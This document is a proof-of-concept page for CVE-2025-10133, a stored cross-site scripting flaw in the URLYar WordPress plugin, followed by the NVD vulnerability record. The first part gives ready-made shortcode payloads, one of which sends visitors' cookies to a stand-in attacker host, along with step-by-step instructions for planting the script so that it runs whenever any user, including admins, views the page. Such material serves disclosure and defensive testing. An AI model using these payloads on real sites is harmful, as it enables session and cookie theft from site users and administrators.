CVE-2025-10133

<!-- Stored XSS PoC for CVE-2025-10133 --> <!-- Attacker with contributor-level access injects this via the 'urlyar_shortlink' shortcode --> [urlyar_shortlink url="javascript:alert('XSS')" text=""><script>alert('Stored XSS - CVE-2025-10133');document.location='https://attacker.com/steal?cookie='+document.cookie</script>"] <!-- Alternative PoC using event handler --> [urlyar_shortlink url='" onmouseover="alert(document.cookie)" text="Click me"] <!-- PoC exploiting attribute injection for script execution --> [urlyar_shortlink url="xss" text="<img src=x onerror=alert('CVE-2025-10133')>"] <!-- Steps to reproduce: 1. Login as a contributor or higher role user 2. Create a new post or page 3. Insert the malicious shortcode with XSS payload in the content 4. Publish/save the post 5. When any user (including admins) views the page, the JavaScript executes -->

{"cve": {"id": "CVE-2025-10133", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:37.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The URLYar URL Shortner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'urlyar_shortlink' shortcode in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/urlyar/trunk/urlyar.php#L604", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/51867e4f-75be-4451-a585-87398881adf5?source=cve", "source": "[email protected]"}]}}